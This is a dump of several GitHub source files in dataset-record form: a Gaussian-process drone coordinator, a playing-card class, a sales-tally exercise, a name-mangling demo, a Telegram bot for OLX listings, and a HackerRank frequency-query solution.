sklearn.metrics import mean_squared_error as mse\nfrom sklearn.metrics import r2_score\nfrom skopt.learning.gaussian_process import gpr, kernels\n\nfrom bin.Utils.acquisition_functions import gaussian_sei, maxvalue_entropy_search, gaussian_pi, gaussian_ei, max_std, \\\n predictive_entropy_search\nfrom bin.Utils.voronoi_regions import calc_voronoi, find_vect_pos4region\n\n\nclass Coordinator(object):\n def __init__(self, map_data, sensors: set, k_names=None, acq=\"gaussian_ei\", acq_mod=\"masked\",\n acq_fusion=\"decoupled\", d=0.375):\n if k_names is None:\n k_names = [\"RBF\"] * len(sensors)\n self.map_data = map_data\n self.acquisition = acq # 'gaussian_sei' 'gaussian_ei' 'maxvalue_entropy_search''gaussian_pi'\n self.acq_mod = acq_mod # 'masked' 'split_path' 'truncated', 'normal'\n self.k_names = k_names # \"RBF\" Matern\" \"RQ\"\n self.sensors = sensors\n self.gps = dict()\n self.train_inputs = [np.array([[], []])]\n self.train_targets = dict()\n self.proportion = d\n\n self.mus = dict()\n self.stds = dict()\n self.has_calculated = dict()\n\n for sensor, kernel in zip(sensors, k_names):\n if kernel == \"RBF\": # \"RBF\" Matern\" \"RQ\"\n self.gps[sensor] = gpr.GaussianProcessRegressor(kernel=kernels.RBF(100), alpha=1e-7)\n # self.gps[sensor] = gprnew.GaussianProcessRegressor(kernel=kernels.RBF(100), alpha=1e-7, noise=0.01)\n self.train_targets[sensor] = np.array([])\n self.mus[sensor] = np.array([])\n self.stds[sensor] = np.array([])\n self.has_calculated[sensor] = False\n\n self.all_vector_pos = np.mgrid[0:self.map_data.shape[1]:1, 0:self.map_data.shape[0]:1].reshape(2, -1).T\n self.vector_pos = np.fliplr(np.asarray(np.where(self.map_data == 0)).reshape(2, -1).T)\n\n self.acq_fusion = acq_fusion\n # simple_max: maximum value found\n # max_sum: sum of acq on max for each maximum\n\n self.splitted_goals = []\n self.nans = None\n\n def initialize_data_gpr(self, data: list):\n self.train_inputs = np.array(data[0][\"pos\"]).reshape(-1, 2)\n for key in data[0].keys():\n if key != \"pos\":\n self.train_targets[key] = np.array([data[0][key]])\n if len(data) > 1:\n for nd in data[1:]:\n self.add_data(nd)\n self.fit_data()\n\n def add_data(self, new_data):\n self.train_inputs = np.append(self.train_inputs, new_data[\"pos\"]).reshape(-1, 2)\n for key in new_data.keys():\n if key != \"pos\":\n self.train_targets[key] = np.append(self.train_targets[key], new_data[key])\n\n def fit_data(self):\n for key in self.sensors:\n self.gps[key].fit(self.train_inputs, self.train_targets[key])\n self.has_calculated[key] = False\n\n def surrogate(self, _x=None, return_std=False, keys=None):\n if keys is None:\n keys = self.sensors\n if _x is None:\n _x = self.vector_pos\n\n for key in keys:\n if not self.has_calculated[key]:\n mu, std = self.gps[key].predict(_x, True)\n self.mus[key] = mu\n self.stds[key] = std\n self.has_calculated[key] = True\n if return_std:\n # for key in keys:\n # print(np.sum(np.subtract(self.gps[key].predict(_x)[~self.nans], self.mus[key][~self.nans])))\n # print(np.sum(np.subtract(self.gps[key].predict(self.vector_pos), self.mus[key][~self.nans])))\n # return [(self.mus[key][~self.nans], self.stds[key][~self.nans]) for key in keys]\n return [(self.mus[key], self.stds[key]) for key in keys]\n else:\n return [self.mus[key] for key in keys]\n # catch any warning generated when making a prediction\n # with catch_warnings():\n # # ignore generated warnings\n # if keys is None:\n # keys = self.sensors\n # simplefilter(\"ignore\")\n # if _x is None:\n # _x = self.all_vector_pos\n # return [self.gps[key].predict(_x, return_std) for key in keys]\n\n def generate_new_goal(self, pose=np.zeros((1, 3)), other_poses=np.zeros((1, 3))):\n # nans = np.load(open('E:/ETSI/Proyecto/data/Databases/numpy_files/nans.npy', 'rb'))\n # smapz = np.zeros((1500, 1000))\n\n if self.acq_mod == \"split_path\":\n if len(self.splitted_goals) > 0:\n new_pos = self.splitted_goals[0, :]\n self.splitted_goals = self.splitted_goals[1:, :]\n return np.append(new_pos, 0)\n xi = 1.0\n\n _, reg = calc_voronoi(pose, other_poses, self.map_data)\n all_acq = []\n c_max = 0.0\n new_pos = None\n sum_all_acq = None\n\n if self.acquisition == \"predictive_entropy_search\":\n gps = self.surrogate(self.vector_pos, return_std=True)\n sum_sigmas = None\n for _, sigma in gps:\n sum_sigmas = sigma if sum_sigmas is None else sigma + sum_sigmas\n # todo cambiar xstar por pareto set\n x_star = self.vector_pos[np.where(sum_sigmas == np.max(sum_sigmas))[0][0]]\n for i in range(len(self.sensors)):\n mu, sigma = gps[i]\n all_acq = predictive_entropy_search(self.vector_pos, mu, sigma, model=self.gps[list(self.sensors)[i]],\n x_star=x_star)\n if self.acq_fusion == \"decoupled\":\n arr1inds = all_acq.argsort()\n sorted_arr1 = self.vector_pos[arr1inds[::-1]]\n best_pos, idx = find_vect_pos4region(sorted_arr1, reg, return_idx=True)\n if all_acq[arr1inds[::-1][idx]] > c_max:\n new_pos = best_pos\n c_max = all_acq[arr1inds[::-1][idx]]\n elif self.acq_fusion == \"coupled\":\n sum_all_acq = sum_all_acq + all_acq if sum_all_acq is not None else all_acq\n else:\n for key in self.sensors:\n if self.acquisition == \"gaussian_sei\":\n all_acq = gaussian_sei(self.vector_pos, self.gps[key], np.min(self.train_targets[key]),\n c_point=pose[:2], xi=xi,\n masked=self.acq_mod == \"masked\")\n elif self.acquisition == \"maxvalue_entropy_search\":\n all_acq = maxvalue_entropy_search(self.vector_pos, self.gps[key], np.min(self.train_targets[key]),\n c_point=pose[:2], xi=xi,\n masked=self.acq_mod == \"masked\")\n elif self.acquisition == \"gaussian_pi\":\n all_acq = gaussian_pi(self.vector_pos, self.gps[key], np.min(self.train_targets[key]),\n c_point=pose[:2],\n xi=xi,\n masked=self.acq_mod == \"masked\")\n elif self.acquisition == \"gaussian_ei\":\n all_acq = gaussian_ei(self.vector_pos,\n # self.gps[key],\n self.surrogate(keys=[key], return_std=True)[0],\n np.min(self.train_targets[key]),\n c_point=pose[:2],\n xi=xi,\n masked=self.acq_mod == \"masked\")\n elif self.acquisition == \"max_std\":\n all_acq = max_std(self.vector_pos, self.gps[key])\n if self.acq_fusion == \"decoupled\":\n arr1inds = all_acq.argsort()\n sorted_arr1 = self.vector_pos[arr1inds[::-1]]\n best_pos, idx = find_vect_pos4region(sorted_arr1, reg, return_idx=True)\n if all_acq[arr1inds[::-1][idx]] > c_max:\n new_pos = best_pos\n c_max = all_acq[arr1inds[::-1][idx]]\n elif self.acq_fusion == \"coupled\":\n sum_all_acq = sum_all_acq + all_acq if sum_all_acq is not None else all_acq\n\n # guardar mapas gps\n # guardar errores\n # lsitp\n\n # mapz = gaussian_ei(self.all_vector_pos, self.gps[key], np.min(self.train_targets[key]),\n # c_point=pose[:2],\n # xi=xi,\n # masked=self.acq_mod == \"masked\").reshape((1000, 1500)).T\n # smapz += mapz\n #\n # values_mapz = self.surrogate(self.vector_pos, keys=[key])[0]\n # mapz = np.full((1500, 1000), np.nan)\n # for vect in enumerate(self.vector_pos):\n # mapz[vect[1][1], vect[1][0]] = values_mapz[vect[0]]\n # # for nnan in nans:\n # # mapz[nnan[0], nnan[1]] = -1\n # # mapz = np.ma.array(mapz, mask=(mapz == -1))\n # if key == \"s5\":\n # plt.subplot(221)\n # elif key == \"s6\":\n # plt.subplot(222)\n # elif key == \"s7\":\n # plt.subplot(223)\n # plt.imshow(mapz, origin='lower')\n # plt.plot(np.append(reg[:, 0], reg[0, 0]), np.append(reg[:, 1], reg[0, 1]), '-b')\n # plt.title(\"$AF_{}(x)$\".format(str(\"{\" + key + \"}\")))\n # for pm in self.train_inputs:\n # plt.plot(pm[0], pm[1], 'y^')\n # plt.plot(pose[0], pose[1], 'b^')\n # plt.colorbar()\n if self.acq_fusion == \"coupled\":\n arr1inds = sum_all_acq.argsort()\n sorted_arr1 = self.vector_pos[arr1inds[::-1]]\n best_pos = find_vect_pos4region(sorted_arr1, reg, return_idx=False)\n new_pos = best_pos\n # plt.subplot(224)\n # for nnan in nans:\n # smapz[nnan[0], nnan[1]] = -1\n # smapz = np.ma.array(smapz, mask=(smapz == -1))\n # plt.imshow(smapz, origin='lower')\n # plt.plot(np.append(reg[:, 0], reg[0, 0]), np.append(reg[:, 1], reg[0, 1]), '-b')\n # plt.title(\"$\\\\sum AF_i(x)$\")\n # plt.plot(new_pos[0], new_pos[1], 'rx')\n\n if self.acq_mod == \"split_path\" or self.acq_mod == \"truncated\":\n beacons_splitted = []\n vect_dist = np.subtract(new_pos, pose[:2])\n ang = np.arctan2(vect_dist[1], vect_dist[0])\n # d = 50\n d = np.exp(np.min([self.gps[key].kernel_.theta[0] for key in list(self.sensors)])) * self.proportion\n for di in np.arange(0, np.linalg.norm(vect_dist), d)[1:]:\n mini_goal = np.array([di * np.cos(ang) + pose[0], di * np.sin(ang) + pose[1]]).astype(np.int)\n if self.map_data[mini_goal[1], mini_goal[0]] == 0:\n beacons_splitted.append(mini_goal)\n beacons_splitted.append(np.array(new_pos))\n self.splitted_goals = np.array(beacons_splitted)\n new_pos = self.splitted_goals[0, :]\n\n self.splitted_goals = self.splitted_goals[1:, :]\n new_pos = np.append(new_pos, 0)\n # plt.plot(new_pos[0], new_pos[1], 'rX')\n # plt.plot(pose[0], pose[1], 'b^', zorder=9)\n # for pm in self.train_inputs:\n # plt.plot(pm[0], pm[1], 'y^')\n # plt.colorbar()\n #\n # plt.legend([\"best_next\", \"c_pose\", \"prev. measurements\"], bbox_to_anchor=(3.5, 1.0), fancybox=True,\n # shadow=True)\n # plt.savefig(f'E:/ETSI/Proyecto/results/img{len(self.train_inputs)}.png', dpi=300)\n # plt.clf()\n\n # if self.acq_fusion == \"maxcoupled\":\n # for best_pos in new_poses:\n # suma = 0\n # for key in self.sensors:\n # this_acq = gaussian_ei(best_pos[0],\n # self.surrogate(best_pos[0].reshape(1, -1), return_std=True, keys=[key])[0],\n # np.min(self.train_targets[key]),\n # c_point=pose[:2], xi=xi, masked=self.acq_mod == \"masked\")\n # suma += this_acq\n # if suma > c_max:\n # new_pos = best_pos[0]\n # c_max = suma\n\n return new_pos\n\n def get_mse(self, y_true, key=None):\n if key is None:\n key = list(self.sensors)[0]\n if self.nans is None:\n self.nans = np.isnan(y_true)\n return mse(y_true[~self.nans], self.surrogate(keys=[key])[0][~self.nans])\n # return bic(y_true[~self.nans], self.surrogate(keys=[key])[0], len(self.train_targets))\n\n def get_score(self, y_true, key=None):\n if key is None:\n key = list(self.sensors)[0]\n if self.nans is None:\n self.nans = np.isnan(y_true)\n # return r2_score(y_true[~self.nans], self.surrogate(keys=[key])[0][~self.nans])\n return r2_score(y_true[~self.nans], self.surrogate(keys=[key])[0])\n\n def get_acq(self, key, pose=np.zeros((1, 2)), acq_func=\"gaussian_ei\", acq_mod=\"normal\"):\n if acq_func == \"gaussian_sei\":\n return gaussian_sei(self.all_vector_pos, self.gps[key], np.min(self.train_targets[key]),\n c_point=pose[0][:2], masked=acq_mod == \"masked\")\n elif acq_func == \"maxvalue_entropy_search\":\n return maxvalue_entropy_search(self.all_vector_pos, self.gps[key], np.min(self.train_targets[key]),\n c_point=pose[0][:2], masked=acq_mod == \"masked\")\n elif acq_func == \"gaussian_pi\":\n return gaussian_pi(self.all_vector_pos, self.gps[key], np.min(self.train_targets[key]),\n masked=acq_mod == \"masked\")\n elif acq_func == \"gaussian_ei\":\n return gaussian_ei(self.all_vector_pos, self.gps[key], np.min(self.train_targets[key]),\n c_point=pose[:2],\n masked=False, xi=1.0)\n # elif acq_func == \"max_std\":\n # return max_std(self.all_vector_pos, self.gps[key], np.min(self.train_targets[key]),\n # masked=acq_mod == \"masked\")\n\n# class ExactGPModel(gpytorch.models.ExactGP):\n# def __init__(self, train_inputs, train_targets, likelihood):\n# super(ExactGPModel, self).__init__(likelihood=likelihood, train_inputs=train_inputs,\n# train_targets=train_targets)\n# self.mean_module = gpytorch.means.ConstantMean()\n# lengthscale_prior = gpytorch.priors.UniformPrior(100, 6.0)\n# self.covar_module = gpytorch.kernels.ScaleKernel(\n# gpytorch.kernels.RBFKernel(lengthscale_prior=lengthscale_prior))\n#\n# self.covar_module.base_kernel.lengthscale = lengthscale_prior.mean\n#\n# def forward(self, x):\n# mean_x = self.mean_module(x)\n# covar_x = self.covar_module(x)\n# return gpytorch.distributions.MultivariateNormal(mean_x, covar_x)\n\n\n# class TorchCoordinator:\n# def __init__(self, map_data, sensors: set, k_names=None, acq=\"gaussian_ei\", acq_mod=\"masked\"):\n# if k_names is None:\n# k_names = [\"RBF\"]\n# device = to.device(\"cpu\")\n# self.map_data = map_data\n# self.acquisition = acq # 'gaussian_sei' 'gaussian_ei' 'maxvalue_entropy_search''gaussian_pi'\n# self.acq_mod = acq_mod # 'masked' 'split_path' 'truncated', 'normal'\n# self.k_names = k_names # \"RBF\" Matern\" \"RQ\"\n# self.likelihoods = dict()\n# self.gps = dict()\n#\n# self.train_inputs = to.empty(1, 2, device=device, dtype=to.int32)\n# self.train_targets = dict()\n# self.sensors = sensors\n# for sensor, kernel in zip(sensors, k_names):\n# if kernel == \"RBF\":\n# self.likelihoods[sensor] = gpytorch.likelihoods.GaussianLikelihood()\n# self.train_targets[sensor] = to.empty(1, 1, device=device, dtype=to.float32)\n# self.gps[sensor] = ExactGPModel(train_inputs=self.train_inputs,\n# train_targets=self.train_targets[sensor],\n# likelihood=self.likelihoods[sensor])\n# else:\n# raise NotImplementedError(\"add more kernels pls\")\n#\n# self.all_vector_pos = to.tensor(\n# np.mgrid[0:self.map_data.shape[1]:1, 0:self.map_data.shape[0]:1].reshape(2, -1).T, dtype=to.int)\n# self.vector_pos = to.tensor(np.fliplr(np.asarray(np.where(self.map_data == 0)).reshape(2, -1).T).copy(),\n# dtype=to.int)\n#\n# self.splitted_goals = []\n#\n# def initialize_data_gpr(self, data: list):\n# self.train_inputs = to.tensor(np.array(data[0]['pos']).reshape(-1, 2))\n# for key in data[0].keys():\n# if key in self.sensors:\n# self.train_targets[key] = to.tensor([data[0][key]], dtype=to.float32)\n# if len(data) > 1:\n# for nd in data[1:]:\n# self.add_data(nd, set_train_data=False)\n#\n# for key in self.sensors:\n# self.gps[key].set_train_data(self.train_inputs, self.train_targets[key], strict=False)\n# self.fit_data()\n#\n# def add_data(self, new_data, set_train_data=True):\n# self.train_inputs = to.cat(\n# (self.train_inputs, to.tensor(np.array(new_data['pos']).reshape(-1, 2), dtype=to.int32)), 0)\n# for key in new_data.keys():\n# if key in self.sensors:\n# self.train_targets[key] = to.cat(\n# (self.train_targets[key], to.tensor([new_data[key]], dtype=to.float32)), 0)\n# if set_train_data:\n# for key in self.sensors:\n# self.gps[key].set_train_data(self.train_inputs, self.train_targets[key], strict=False)\n#\n# def fit_data(self):\n# for name in self.sensors:\n# self.gps[name].train()\n# self.likelihoods[name].train()\n# # Use the adam optimizer\n# optimizer = to.optim.Adam(self.gps[name].parameters(), lr=0.1) # Includes GaussianLikelihood parameters\n#\n# # \"Loss\" for GPs - the marginal log likelihood\n# mll = gpytorch.mlls.ExactMarginalLogLikelihood(self.likelihoods[name], self.gps[name])\n#\n# for i in range(50):\n# # Zero gradients from previous iteration\n# optimizer.zero_grad()\n# # Output from model\n# output = self.gps[name](self.train_inputs)\n# # Calc loss and backprop gradients\n# loss = -mll(output, self.train_targets[name])\n# loss.backward()\n# optimizer.step()\n# if loss.item() < 0:\n# break\n# # print('Iter %d - Loss: %.3f lengthscale: %.3f noise: %.3f' % (\n# # i + 1, loss.item(),\n# # self.gps[name].covar_module.base_kernel.lengthscale.item(),\n# # self.gps[name].likelihood.noise.item()\n# # ))\n#\n# # self.gp.fit(self.data[0], self.data[1])\n#\n# def surrogate(self, _x=None, return_std=False, key=None):\n# if key is None:\n# key = self.sensors\n# if _x is None:\n# _x = self.all_vector_pos\n# [self.gps[name].eval() for name in key]\n# [self.likelihoods[name].eval() for name in key]\n# with to.no_grad(), gpytorch.settings.fast_pred_var():\n# y_preds = [self.likelihoods[name](self.gps[name](_x)) for name in key]\n#\n# return [y_pred.mean.numpy() for y_pred in y_preds], [y_pred.stddev.detach().numpy() for y_pred in\n# y_preds]\n# if return_std else [y_pred.mean.numpy() for y_pred\n# in y_preds]\n#\n# def generate_new_goal(self, pose=np.zeros((1, 3)), other_poses=np.zeros((1, 3))):\n# if self.acq_mod == \"split_path\":\n# if len(self.splitted_goals) > 0:\n# new_pos = self.splitted_goals[0, :]\n# self.splitted_goals = self.splitted_goals[1:, :]\n# return np.append(new_pos, 0)\n# xi = 1.0\n#\n# _, reg = calc_voronoi(pose, other_poses, self.map_data)\n#\n# for key in self.sensors:\n# mu, std = self.surrogate(self.vector_pos, key=[key], return_std=True)\n# if self.acquisition == \"gaussian_sei\":\n# all_acq = gaussian_sei(self.vector_pos, mu, std,\n# to.min(self.train_targets[key]),\n# c_point=pose[:2], xi=xi,\n# masked=self.acq_mod == \"masked\")\n# elif self.acquisition == \"maxvalue_entropy_search\":\n# all_acq = maxvalue_entropy_search(self.vector_pos, mu, std,\n# to.min(self.train_targets[key]),\n# c_point=pose[:2], xi=xi,\n# masked=self.acq_mod == \"masked\")\n# elif self.acquisition == \"gaussian_pi\":\n# all_acq = gaussian_pi(self.vector_pos, mu, std,\n# to.min(self.train_targets[key]),\n# c_point=pose[:2], xi=xi,\n# masked=self.acq_mod == \"masked\")\n# elif self.acquisition == \"gaussian_ei\":\n# all_acq = gaussian_ei(self.vector_pos, mu[0], std[0],\n# to.min(self.train_targets[key]),\n# c_point=pose[:2], xi=xi,\n# masked=self.acq_mod == \"masked\")\n# elif self.acquisition == \"max_std\":\n# all_acq = max_std(self.vector_pos, mu, std,\n# to.min(self.train_targets[key]),\n# masked=self.acq_mod == \"masked\")\n# else:\n# all_acq = []\n#\n# arr1inds = all_acq.argsort()\n# sorted_arr1 = self.vector_pos.numpy()[arr1inds[::-1]]\n# new_pos = find_vect_pos4region(sorted_arr1, reg)\n#\n# if self.acq_mod == \"split_path\" or self.acq_mod == \"truncated\":\n# beacons_splitted = []\n# vect_dist = np.subtract(new_pos, pose[:2])\n# ang = np.arctan2(vect_dist[1], vect_dist[0])\n# d = 220\n# for di in np.arange(0, np.linalg.norm(vect_dist), d)[1:]:\n# mini_goal = np.array([di * np.cos(ang) + pose[0], di * np.sin(ang) + pose[1]]).astype(np.int)\n# if self.map_data[mini_goal[1], mini_goal[0]] == 0:\n# beacons_splitted.append(mini_goal)\n# beacons_splitted.append(np.array(new_pos))\n# self.splitted_goals = np.array(beacons_splitted)\n# new_pos = self.splitted_goals[0, :]\n#\n# self.splitted_goals = self.splitted_goals[1:, :]\n# new_pos = np.append(new_pos, 0)\n#\n# return new_pos\n#\n# def get_mse(self, y_true):\n# nan = np.isnan(y_true)\n# return mse(y_true[~nan], self.surrogate()[~nan])\n#\n# def get_score(self, y_true):\n# nan = np.isnan(y_true)\n# return r2_score(y_true[~nan], self.surrogate()[~nan])\n#\n# def get_acq(self, pose=np.zeros((1, 2)), acq_func=\"gaussian_sei\", acq_mod=\"normal\"):\n# if acq_func == \"gaussian_sei\":\n# return gaussian_sei(self.all_vector_pos, self.gp, np.min(self.data[1]),\n# c_point=pose[0][:2], masked=acq_mod == \"masked\"), self.main_sensor\n# elif acq_func == \"maxvalue_entropy_search\":\n# return maxvalue_entropy_search(self.all_vector_pos, self.gp, np.min(self.data[1]),\n# c_point=pose[0][:2], masked=acq_mod == \"masked\"), self.main_sensor\n# elif acq_func == \"gaussian_pi\":\n# return gaussian_pi(self.all_vector_pos, self.gp, np.min(self.data[1]),\n# masked=acq_mod == \"masked\"), self.main_sensor\n# elif acq_func == \"gaussian_ei\":\n# return gaussian_ei(self.all_vector_pos, self.gp, np.min(self.data[1]),\n# c_point=pose[:2],\n# masked=False, xi=1.0), self.main_sensor\n# elif acq_func == \"max_std\":\n# return max_std(self.all_vector_pos, self.gp, np.min(self.data[1]),\n# masked=acq_mod == \"masked\"), self.main_sensor\n","repo_name":"PeraltaFede/BO_drones","sub_path":"bin/Coordinators/gym_coordinator.py","file_name":"gym_coordinator.py","file_ext":"py","file_size_in_byte":25185,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21627070957","text":"from random import *\nclass PlayingCard:\n\n #defines the variables\n def __init__(self,rank,suit):\n self.rank = rank\n self.suit = suit\n \n \n #returns the rank of the card\n def getRank(self):\n return self.rank\n #returns the suit of the card\n def getSuit(self):\n if self.suit == \"s\":\n self.card = \"Spades\"\n elif self.suit == \"d\":\n self.card = \"Diamonds\"\n elif self.suit == \"c\":\n self.card = \"Clubs\"\n else:\n self.card = \"Hearts\"\n \n return self.suit\n #returns the poker value of the card where Aces are at top\n def value(self):\n if self.rank == 1:\n return 14\n else:\n return self.rank\n \n #turns the card into a string name that has a friendly output\n def __str__(self):\n numNames = [\"0\",\"Ace\",\"Two\",\"Three\",\"Four\",\"Five\",\"Six\",\"Seven\",\"Eight\",\n \"Nine\",\"Ten\",\"Jack\",\"Queen\",\"King\"]\n CardNum = numNames[self.rank]\n CardName = CardNum + \" of \" + self.card\n return CardName\n\n\ndef main():\n card= PlayingCard(randrange(0,14),\"d\")\n print(card.getSuit())\n print(card.getRank())\n print(card.value())\n print(card.__str__())\n\n\nif __name__ == \"__main__\": \n main()\n","repo_name":"jmiranda-conncoll/poker-game","sub_path":"playingcard.py","file_name":"playingcard.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43017571755","text":"# Ventas por sucursal. Ingresar una serie de números por teclado que representan la cantidad de ventas \n# realizadas en las diferentes sucursales de un país de una determinada empresa. \n# Los requerimientos del programa son: Informar la cantidad de ventas ingresadas. \n# Total de ventas. Cantidad de ventas cuyo valores estén comprendidos entre 100 y 300 unidades.\n# Cantidad de ventas con 400,500 y 600 unidades. \n# Indicar si hubo una cantidad de ventas inferior a 50 unidades. \n# Usted deberá ingresar cantidad es de ventas hasta que se ingrese un valor negativo. \n# Inicializamos las variables\nventas_totales = 0\nventas_entre_100_y_300 = 0\nventas_400 = 0\nventas_500 = 0\nventas_600 = 0\nventas_inferiores_a_50 = False\n\n\n# Comenzamos a ingresar las ventas\nwhile True:\n try:\n venta = int(input(\"Ingrese la cantidad de ventas (ingrese un número negativo para salir): \"))\n if venta < 0:\n break # Salir del bucle si se ingresa un número negativo\n ventas_totales += venta\n if 100 <= venta <= 300:\n ventas_entre_100_y_300 += 1\n if venta == 400:\n ventas_400 += 1\n if venta == 500:\n ventas_500 += 1\n if venta == 600:\n ventas_600 += 1\n if venta < 50:\n ventas_inferiores_a_50 = True\n except ValueError:\n print(\"Por favor, ingrese un número válido.\")\n\n# Mostramos los resultados\nprint(\"Cantidad de ventas ingresadas:\", ventas_totales)\nprint(\"Total de ventas:\", ventas_totales)\nprint(\"Cantidad de ventas entre 100 y 300 unidades:\", ventas_entre_100_y_300)\nprint(\"Cantidad de ventas de 400 unidades:\", ventas_400)\nprint(\"Cantidad de ventas de 500 unidades:\", ventas_500)\nprint(\"Cantidad de ventas de 600 unidades:\", ventas_600)\nif ventas_inferiores_a_50:\n print(\"Hubo ventas inferiores a 50 unidades.\")\nelse:\n print(\"No hubo ventas inferiores a 50 unidades.\")","repo_name":"NizuSAO/Li0010-Paradigma-programacion-Umet","sub_path":"Guia2/ejercicio8.2.py","file_name":"ejercicio8.2.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33638227613","text":"# Example of how Python applies name mangling to instance variables with names\n# starting with \"__\". This prevents accidental modifications of data intended\n# to be private, but doesn't prevent intentional modification.\n\nclass BankAccount:\n next_account_number = 1 # static/shared class level\n\n def __init__(self, customer, initial_deposit=0):\n # We want the account number to be \"private\".\n # __account_number will be mangled to _BankAccount__account_number\n self.__account_number = BankAccount.next_account_number\n BankAccount.next_account_number += 1\n self.customer = customer\n\n # __balance will be mangled to _BankAccount__balance\n self.__balance = initial_deposit # balance is \"private\"\n\n def deposit(self, amount):\n self.__balance += amount\n\n def __str__(self):\n return f'{self.__account_number:4} {self.customer:14} ${self.__balance:8.2f}'\n\n\na1 = BankAccount(\"Wilma\", 300.00)\nprint(f'a1 = {a1}')\nprint(f'vars(a1) = {vars(a1)}')\n\n# Name managling prevents accidental changes, so this adds an instance variable \"__balance\"\n# instead of modifying the BankAccount's balance\na1.__balance = 10000\n\n# But you can still modify the BankAccount's state using the mangled name\na1._BankAccount__balance = 10000\nprint(f'a1 = {a1}')\nprint(f'vars(a1) = {vars(a1)}')\n","repo_name":"mwoinoski/crs1906","sub_path":"examples/ch01_examples/name_managling.py","file_name":"name_managling.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"69825511788","text":"import traceback\n\nimport telebot\n\nfrom modules.publication_filter import get_current_time\nfrom modules.states import bussy, get_bussy, set_bussy\nfrom modules.telegram.bot_helper import send_publications, get_greeting, set_restriction_word, \\\n get_urls, add_url, remove_url, run_url, get_url_greeting, send_test_message, throw_exception\n\nBOT = telebot.TeleBot('1173914907:AAE0JaLYRR1VpWq-BJnOWzKNj89Qak3pSm0')\n\nkeyboard1 = telebot.types.ReplyKeyboardMarkup()\n\nkeyboard1.row('/pubs')\nkeyboard1.row('/url', '/word')\n\n\n@BOT.message_handler(commands=['start'])\ndef start_message(message):\n print(get_current_time()+\" [OK][BOT] Catched message : \" + message.text)\n BOT.send_message(message.chat.id,\n get_greeting(),\n reply_markup=keyboard1)\n\n@BOT.message_handler(commands=['respawn'])\ndef start_message(message):\n throw_exception(message, BOT)\n\n@BOT.message_handler(commands=['message'])\ndef start_message(message):\n send_test_message(message, BOT)\n\n@BOT.message_handler(commands=['status'])\ndef start_message(message):\n if not get_bussy():\n BOT.send_message(message.chat.id, \"💤 I'm chilling. Ready for job.\")\n else:\n BOT.send_message(message.chat.id, \"👨🏻‍💻 I'm bussy. Go away, plz..\")\n\n@BOT.message_handler(commands=['url'])\ndef url_message(message):\n print(get_current_time()+\" [OK][BOT] Catched message : \" + message.text)\n command = \"\"\n try:\n command = message.text.split()[1]\n except:\n BOT.send_message(message.chat.id, get_url_greeting())\n\n if command == '-add':\n try:\n add_url(message)\n BOT.send_message(message.chat.id, \"✅OK!\\nUrl is added to database. Now you can initialize it by \\'-run\\' tag\")\n except:\n traceback.print_exc()\n BOT.send_message(message.chat.id, \"❌ERROR!\\nCan't add url\")\n\n if command == '-remove':\n try:\n remove_url(message)\n BOT.send_message(message.chat.id, \"✅OK!\\nUrl is removed\")\n except:\n traceback.print_exc()\n BOT.send_message(message.chat.id, \"❌ERROR!\\nUrl with such name not found! Or error is thrown!\")\n\n if command == '-list':\n try:\n BOT.send_message(message.chat.id, \"📋 List:\")\n get_urls(message.chat.id, BOT)\n except:\n traceback.print_exc()\n BOT.send_message(message.chat.id, \"❌ERROR!\\nError is thrown!\")\n\n if command == '-run':\n try:\n run_url(message)\n BOT.send_message(message.chat.id, \"✅OK!\\nUrl is initialized\")\n except:\n traceback.print_exc()\n BOT.send_message(message.chat.id, \"❌ERROR!\\nUrl with such name not found! Or error is thrown!\")\n\n\n@BOT.message_handler(commands=['word'])\ndef word_message(message):\n print(\"[OK][BOT] Catched message : \" + message.text)\n try:\n word = message.text.split()[1]\n category = message.text.split()[2]\n set_restriction_word(message)\n BOT.send_message(message.chat.id,\n \"✅Success!\\n New restriction word: \\n\\t 🔹 \" + word + \"\\n Is added to category: \\n\\t 🔹 \" + category)\n except:\n traceback.print_exc()\n BOT.send_message(message.chat.id,\n \"⚠You can add new Restriction word ranges with that command in that style\\n/word {word} {category} \\n with valid word!\")\n\n@BOT.message_handler(commands=['pubs'])\ndef pubs_message(message):\n print(get_current_time()+\" [OK][BOT] Catched message : \" + message.text)\n BOT.send_message(message.chat.id, '🕛 Wait a minute! Plz...')\n if not get_bussy():\n set_bussy(True)\n send_publications(message.chat.id, BOT)\n set_bussy(False)\n else:\n BOT.send_message(message.chat.id, '✋🏻 Sorry.. in progress...')\n\n print(get_current_time()+\" [OK][BOT] message sent\")\n","repo_name":"maksym-huliaka/olx-destroy","sub_path":"source/modules/telegram/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3253319261","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import Counter\n\n# Complete the freqQuery function below.\ndef freqQuery(queries):\n answer = ''\n f = Counter()\n c = Counter()\n for query in queries:\n if query[0] == 1:\n c[f[query[1]]] -= 1\n f[query[1]] += 1\n c[f[query[1]]] += 1\n elif query[0] == 2:\n if f[query[1]] > 0:\n c[f[query[1]]] -= 1\n f[query[1]] -= 1\n c[f[query[1]]] += 1\n else:\n if c[query[1]] > 0:\n answer += '1'\n else:\n answer += '0'\n return answer\n # answer = ''\n # \n # dic = {}\n # for query in queries:\n # if query[0] == 1:\n # if query[1] in dic.keys():\n # dic[query[1]] += 1\n\n # else:\n # dic[query[1]] = 1\n\n # elif query[0] == 2:\n # if (query[1] in dic.keys()) and dic[query[1]] > 0:\n # dic[query[1]] -= 1\n # else:\n # if query[1] in dic.values():\n # answer += '1'\n # else:\n # answer += '0'\n\n # return answer\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n q = int(input().strip())\n\n queries = []\n\n for _ in range(q):\n queries.append(list(map(int, input().rstrip().split())))\n\n ans = freqQuery(queries)\n\n fptr.write('\\n'.join(map(str, ans)))\n fptr.write('\\n')\n\n 